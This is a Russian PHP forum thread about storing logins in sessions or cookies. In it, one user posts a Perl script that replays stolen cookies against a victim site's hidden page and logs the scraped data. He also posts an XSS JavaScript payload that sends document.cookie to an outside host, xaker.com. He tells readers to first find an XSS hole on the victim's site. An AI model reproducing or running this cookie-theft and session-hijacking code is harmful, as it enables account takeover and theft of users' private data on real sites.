Вниз  PHP и мелкие вопросы
- 29.04.2012 / 17:29
TAPAHbl4
  Пользователь

TAPAHbl4 
Сейчас: Offline
зачем в сессию?!
- 29.04.2012 / 17:46
Dinisimys1
  Пользователь

Dinisimys1 
Сейчас: Offline
TAPAHbl4, я не знаю, может пригодится))) Я че не надо?
- 29.04.2012 / 17:48
Dinisimys1
  Пользователь

Dinisimys1 
Сейчас: Offline
Одни в сессию говорят, другие в куки. Кого слушать? Ну да ладно, а пароль и логин с бд проверять надо или нет?
- 29.04.2012 / 18:02
Naik
  Пользователь

Naik 
Сейчас: Offline
Dinisimys1, Конечно, а как же ты без проверки идентифицируешь пользователя? :gg:
- 29.04.2012 / 18:02
HoldFast
  Пользователь

HoldFast 
Сейчас: Offline
Dinisimys1, сессия это сессия. А куки это куки. Тут уж как тебе надо, так и делай
__________________
 Да, детка, я - Король Ящериц!!!
- 29.04.2012 / 18:25
Dinisimys1
  Пользователь

Dinisimys1 
Сейчас: Offline
Naik, куки ведь сохраняется.
- 30.04.2012 / 23:33
Николаевич
  Пользователь

Николаевич 
Сейчас: Offline
cookie сохраняются на стороне клиента и могут храниться там оч долго,а сессии хранятся на стороне сервера. Теперь про горечь в печенюшках.
Ищим xss на сайте жертвы и принимаем ети крюки. Дальше на лету:
  1. #!/usr/bin/perl
  2. use CGI::Carp qw(fatalsToBrowser);
  3. print "Content-type: text/html; charset=utf-8\n\n";
  4. use LWP::UserAgent;
  5. use LWP::ConnCache;
  6. $ua = LWP::UserAgent->new;
  7. $cache = $ua->conn_cache(LWP::ConnCache->new( ));
  8. #В ГЕТ ПРИНИМАЕМ КУКИ И КОНЕКТИМСЯ
  9. $cook=$ENV['QUERY_STRING'];
  10. @ns_headers = ('Accept' => 'text/ xml,application/
  11. xml,application/xhtml
  12. +xml,text/
  13. html;q=0.9,text/
  14. plain;q=0.8,image/png,*/
  15. *;q=0.5' ,'Accept- Language' => 'ru- ru,ru;q=0.8,en-
  16. us;q=0.5,en;q=0.3' ,'Accept- Encoding' => 'gzip,deflate' ,'Accept- Charset' =>'windows-1251,utf-8;q=0.7,*;q=0.7' ,'Connection' =>'keep- alive' ,'Keep-Alive' => '300' ,'Cookie' =>$cook);
  17. $resp = $ua->get( "http://сайт/скрытая страница",@ns_headers);
  18.  
  19. if ($resp->is_success) {
  20. #разбираем страницу и пишим в лог
  21. open(LOG,">>log.dat");
  22. while ($page =~m/регекс/ig) {
  23. print "$1\n";
  24.    print(LOG "$1\n");
  25. }
  26. }
  27. close(LOG);
эт набросок
- 30.04.2012 / 23:48
Николаевич
  Пользователь

Николаевич 
Сейчас: Offline
а если аякс заставить работать на сайте нуба то
  1. ajax=getAjax();
  2. if (ajax != null) {
  3. ajax.open("GET", "xaker.com/cgi-bin/test.cgi?cook=" + document.cookie, true);
  4. ajax.send(null);
  5. ajax.onreadystatechange = function(){
  6.   if(ajax.readyState==4)  
  7. document.getElementById('div').innerHTML=ajax.responseText;}
  8.  
  9. }
  10. }
примерно так. Вот тебе и куки. Сессия надежней.в ajax.responseText можно привед передать. :-D

Изменено Николаевич (30.04 / 23:51) (всего 1 раз)
- 1.05.2012 / 00:54
HoldFast
  Пользователь

HoldFast 
Сейчас: Offline
маразм какой-то
__________________
 Да, детка, я - Король Ящериц!!!
- 3.05.2012 / 14:16
Dinisimys1
  Пользователь

Dinisimys1 
Сейчас: Offline
Николаевич, спасибо боольшое.
:ps: я ниче не понял.
Наверх  Всего сообщений: 4740
Фильтровать сообщения
Поиск по теме
Файлы топика (129)